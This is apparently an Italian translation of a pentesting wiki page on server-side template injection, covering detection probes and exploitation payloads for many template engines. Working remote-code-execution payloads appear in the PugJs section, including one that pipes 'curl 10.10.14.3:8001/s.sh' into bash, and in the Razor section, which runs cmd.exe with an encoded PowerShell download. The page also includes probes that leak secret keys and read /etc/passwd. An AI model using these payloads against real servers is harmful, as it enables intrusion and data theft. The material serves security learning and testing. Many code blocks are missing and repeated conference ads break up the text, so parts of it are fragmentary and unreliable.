SSTI (Server Side Template Injection)
SSTI (Server Side Template Injection)
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
Cos'è SSTI (Server-Side Template Injection)
L'Server-side template injection è una vulnerabilità che si verifica quando un attaccante può iniettare codice dannoso in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, inclusa Jinja.
Jinja è un motore di template popolare usato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
Nel codice vulnerabile, il parametro name
dalla richiesta dell'utente viene direttamente passato al template utilizzando la funzione render
. Questo potenzialmente potrebbe consentire a un attaccante di iniettare codice dannoso nel parametro name
, portando a una iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload del genere:
Il payload {{bad-stuff-here}}
viene iniettato nel parametro name
. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, ottenendo potenzialmente il controllo sul server.
Per prevenire le vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente venga correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escape consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Rilevamento
Per rilevare l'Injection di Template Lato Server (SSTI), inizialmente, fuzzare il template è un approccio diretto. Ciò comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\
) nel template e l'analisi delle differenze nella risposta del server tra dati regolari e questo payload speciale. Gli indicatori di vulnerabilità includono:
Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
Assenza del payload nella riflessione, o parti mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
Contesto in Testo Puro: Distinguerlo da XSS controllando se il server valuta le espressioni del template (ad esempio,
{{7*7}}
,${7*7}
).Contesto del Codice: Confermare la vulnerabilità modificando i parametri di input. Ad esempio, cambiare
greeting
inhttp://sito-web-vulnerabile.com/?greeting=data.username
per vedere se l'output del server è dinamico o fisso, come ingreeting=data.username}}hello
che restituisce il nome utente.
Fase di Identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici del linguaggio. I payload comuni che causano errori includono ${7/0}
, {{7/0}}
, e <%= 7/0 %>
. Osservare la risposta del server alle operazioni matematiche aiuta a individuare il motore del template specifico.
Strumenti
uno scanner efficiente per SSTI + CSTI che utilizza nuovi poliglotti
una tabella interattiva contenente i poliglotti di iniezione del template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
Exploit
Generico
In questa lista di parole puoi trovare le variabili definite negli ambienti di alcuni dei motori menzionati di seguito:
Java
Java - Iniezione di Base
Java - Recupero delle variabili di ambiente di sistema
Java - Recupero di /etc/passwd
FreeMarker (Java)
Puoi provare i tuoi payload su https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Bypass del sandbox
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
Ulteriori informazioni
Nella sezione FreeMarker di https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Ulteriori informazioni
Nella sezione Velocity di https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}
, che si applica anche a questo motore di template. Per potenziali esecuzioni di codice remoto, possono essere utilizzate espressioni come le seguenti:
SpringEL:
OGNL:
Thymeleaf richiede che queste espressioni siano inserite all'interno di attributi specifici. Tuttavia, il inline delle espressioni è supportato per altre posizioni del template, utilizzando sintassi come [[...]]
o [(...)]
. Pertanto, un semplice payload di test SSTI potrebbe assomigliare a [[${7*7}]]
.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver
per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche il preprocessing delle espressioni, dove le espressioni all'interno di doppi trattini bassi (__...__
) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
Esempio di Vulnerabilità in Thymeleaf
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
Questo indica che se il motore del template elabora in modo improprio questi input, potrebbe portare all'esecuzione di codice remoto che accede agli URL come:
Ulteriori informazioni
Framework Spring (Java)
Bypassare i filtri
È possibile utilizzare più espressioni di variabili, se ${...}
non funziona prova con #{...}
, *{...}
, @{...}
o ~{...}
.
Leggi
/etc/passwd
Script personalizzato per la generazione del payload
Ulteriori informazioni
Manipolazione della vista Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Vecchia versione di Pebble ( < versione 3.0.9):
Nuova versione di Pebble:
Jinjava (Java)
Jinjava è un motore di template Java che supporta l'esecuzione di codice Java all'interno dei template. Questo lo rende estremamente potente ma anche pericoloso quando esposto a input non attendibili. Jinjava è spesso utilizzato in applicazioni web basate su Java per la generazione dinamica di contenuti.
Jinjava - Esecuzione di comandi
Risolto da https://github.com/HubSpot/jinjava/pull/230
Ulteriori informazioni
Hubspot - HuBL (Java)
Delimitatori di istruzioni
{% %}
Delimitatori di espressioni
{{ }}
Delimitatori di commenti
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il progetto Jinjava su Github.
Ulteriori informazioni
Linguaggio di espressione - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene utilizzato ampiamente in molte tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni di backend corrispondenti.
JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, facilitando il collegamento degli elementi della pagina ai dati dell'applicazione.
Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione senza soluzione di continuità tra il livello web e i managed beans, garantendo una struttura dell'applicazione più coerente.
Consulta la seguente pagina per saperne di più sull'exploitation degli interpreti EL:
pageEL - Expression LanguageGroovy (Java)
I seguenti bypass del Security Manager sono stati presi da questo articolo.
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
Smarty (PHP)
Ulteriori informazioni
Nella sezione Smarty di https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Errore
{{foobar}} Nulla
Twig - Formato del template
Ulteriori informazioni
Nella sezione Twig e Twig (Sandboxed) di https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates è un motore di templating nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates utilizza il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
Modello di pagina:
Modello di layout:
Ulteriori informazioni
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.
authors.tpl
SSTI (Server-Side Template Injection)
authors.php
In questo esercizio, dovrai sfruttare l'SSTI per ottenere informazioni riservate dall'applicazione. Segui le istruzioni nel file authors.php
per completare l'esercizio. Buona fortuna!
Ulteriori informazioni
Jade (NodeJS)
Ulteriori informazioni
Nella sezione Jade di https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate motore di template PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
Ulteriori informazioni
Handlebars (NodeJS)
Traversamento del percorso (ulteriori informazioni qui).
= Errore
${7*7} = ${7*7}
Nulla
Ulteriori informazioni
JsRender (NodeJS)
Template | Descrizione |
Valuta e renderizza l'output | |
Valuta e renderizza l'output codificato in HTML | |
Commento | |
e | Consente il codice (disabilitato per impostazione predefinita) |
= 49
Lato Client
Lato Server
Ulteriori informazioni
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Esempio di rendering lato server
Ulteriori informazioni
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Nessun output
#{7*7} = #{7*7}
{{console.log(1)}} = Errore
Ulteriori informazioni
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Errore
Ulteriori informazioni
Slim (Ruby)
{ 7 * 7 }
Ulteriori informazioni
Python
Consulta la seguente pagina per apprendere trucchi sull'esecuzione di comandi arbitrari eludendo le sandbox in python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Errore
{{7*'7'}} = 7777777
Ulteriori informazioni
Jinja2 (Python)
Jinja2 è un motore di template completo per Python. Ha il pieno supporto Unicode, un ambiente di esecuzione sandbox opzionale integrato, ampiamente utilizzato e con licenza BSD.
{{7*7}} = Errore
${7*7} = ${7*7}
{{foobar}} Niente
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato del template
RCE non dipendente da __builtins__
:
Ulteriori dettagli su come abusare di Jinja:
pageJinja2 SSTIAltri payload su https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Ulteriori informazioni
Razor (.Net)
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <= Success
@{} <= ERRORE!
@{ <= ERRORE!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Il metodo .NET System.Diagnostics.Process.Start
può essere utilizzato per avviare qualsiasi processo sul server e quindi creare una webshell. È possibile trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp
Ulteriori informazioni
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nulla<%= response.write(date()) %>
= <Date>
Ulteriori informazioni
Mojolicious (Perl)
Anche se è perl, utilizza tag come ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Errore
SSTI in GO
Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
{{ . }}
: Rivela l'input della struttura dei dati. Ad esempio, se viene passato un oggetto con un attributoPassword
,{{ .Password }}
potrebbe esporlo.{{printf "%s" "ssti" }}
: Previsto per visualizzare la stringa "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.
Sfruttamento XSS
Con il pacchetto text/template
, l'XSS può essere diretto inserendo direttamente il payload. Al contrario, il pacchetto html/template
codifica la risposta per prevenirlo (ad esempio, {{"<script>alert(1)</script>"}}
risulta in <script>alert(1)</script>
). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Sfruttamento RCE
Lo sfruttamento RCE differisce significativamente tra html/template
e text/template
. Il modulo text/template
consente di chiamare direttamente qualsiasi funzione pubblica (usando il valore "call"), il che non è consentito in html/template
. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.
Per RCE tramite SSTI in Go, possono essere invocati i metodi degli oggetti. Ad esempio, se l'oggetto fornito ha un metodo System
che esegue comandi, può essere sfruttato come {{ .System "ls" }}
. Di solito è necessario accedere al codice sorgente per sfruttare questo, come nell'esempio fornito:
Ulteriori informazioni
Altri Exploit
Controlla il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per ulteriori exploit. Puoi trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Aiuto Correlato
Se pensi che possa esserti utile, leggi:
Strumenti
Elenco di Rilevamento Brute-Force
Pratica e Riferimenti
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con il compito di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della cybersecurity in ogni disciplina.
Last updated